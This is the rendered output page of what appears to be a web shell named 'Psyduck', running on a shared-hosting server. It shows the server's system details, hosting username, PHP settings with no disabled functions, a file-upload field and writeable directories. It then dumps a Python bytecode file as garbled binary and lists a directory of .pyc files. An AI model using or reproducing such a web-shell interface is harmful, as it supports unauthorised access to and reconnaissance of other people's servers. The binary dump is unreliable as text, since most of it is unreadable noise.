Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python312/lib64/python3.12/urllib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python312/lib64/python3.12/urllib/__pycache__/error.cpython-312.pyc
�

5[Yho	���dZddlZddlZgd�ZGd�de�ZGd�deejj�Z	Gd�d	e�Z
y)
a�Exception classes raised by urllib.

The base exception class is URLError, which inherits from OSError.  It
doesn't define any behavior of its own, but is the base class for all
exceptions defined in this package.

HTTPError is an exception class that is also a valid HTTP response
instance.  It behaves this way because HTTP protocol errors are valid
responses, with a status code, headers, and a body.  In some contexts,
an application may want to handle an exception like a regular
response.
�N)�URLError�	HTTPError�ContentTooShortErrorc��eZdZdd�Zd�Zy)rNc�6�|f|_||_|�||_yy�N)�args�reason�filename)�selfr
rs   �3/opt/alt/python312/lib64/python3.12/urllib/error.py�__init__zURLError.__init__s$���G��	������$�D�M� �c� �d|jzS)Nz<urlopen error %s>)r
�rs r
�__str__zURLError.__str__s��#�d�k�k�1�1rr)�__name__�
__module__�__qualname__rr�rr
rrs��%�2rrc��eZdZdZej
jjZd�Zd�Z	d�Z
ed��Zed��Z
e
jd��Z
y)	rzBRaised when HTTP error occurs, but also acts like non-error returnc��||_||_||_||_||_|�tj�}|j||||�yr)�code�msg�hdrs�fpr�io�BytesIO�_HTTPError__super_init)r�urlrrrrs      r
rzHTTPError.__init__'sI����	������	������
�
�:�����B����"�d�C��.rc�:�d|j�d|j��S)NzHTTP Error �: �rrrs r
rzHTTPError.__str__1s��&*�i�i����:�:rc�<�d|j�d|j�d�S)Nz<HTTPError r"�>r#rs r
�__repr__zHTTPError.__repr__4s��'+�y�y�$�(�(�;�;rc��|jSr)rrs r
r
zHTTPError.reason9s���x�x�rc��|jSr�rrs r
�headerszHTTPError.headers=s���y�y�rc��||_yrr))rr*s  r
r*zHTTPError.headersAs	����	rN)rrr�__doc__�urllib�response�
addinfourlrrrr&�propertyr
r*�setterrrr
rr#si��L��?�?�-�-�6�6�L�/�;�<�
��������
�^�^���rrc��eZdZdZd�Zy)rzDException raised when downloaded size does not match content-length.c�>�tj||�||_yr)rr�content)r�messager4s   r
rzContentTooShortError.__init__Hs�����$��(���rN)rrrr,rrrr
rrFs
��N�rr)r,r�urllib.responser-�__all__�OSErrorrr.r/rrrrr
�<module>r9sH���
��
;��
2�w�
2�  ��&�/�/�4�4� �F�8�r
Name
Size
Permissions
Options
__init__.cpython-312.opt-1.pyc
0.147 KB
-rw-r--r--
__init__.cpython-312.opt-2.pyc
0.147 KB
-rw-r--r--
__init__.cpython-312.pyc
0.147 KB
-rw-r--r--
error.cpython-312.opt-1.pyc
3.578 KB
-rw-r--r--
error.cpython-312.opt-2.pyc
2.931 KB
-rw-r--r--
error.cpython-312.pyc
3.578 KB
-rw-r--r--
parse.cpython-312.opt-1.pyc
49.442 KB
-rw-r--r--
parse.cpython-312.opt-2.pyc
39.123 KB
-rw-r--r--
parse.cpython-312.pyc
49.442 KB
-rw-r--r--
request.cpython-312.opt-1.pyc
112.617 KB
-rw-r--r--
request.cpython-312.opt-2.pyc
100.925 KB
-rw-r--r--
request.cpython-312.pyc
112.785 KB
-rw-r--r--
response.cpython-312.opt-1.pyc
4.326 KB
-rw-r--r--
response.cpython-312.opt-2.pyc
3.78 KB
-rw-r--r--
response.cpython-312.pyc
4.326 KB
-rw-r--r--
robotparser.cpython-312.opt-1.pyc
12.021 KB
-rw-r--r--
robotparser.cpython-312.opt-2.pyc
10.745 KB
-rw-r--r--
robotparser.cpython-312.pyc
12.021 KB
-rw-r--r--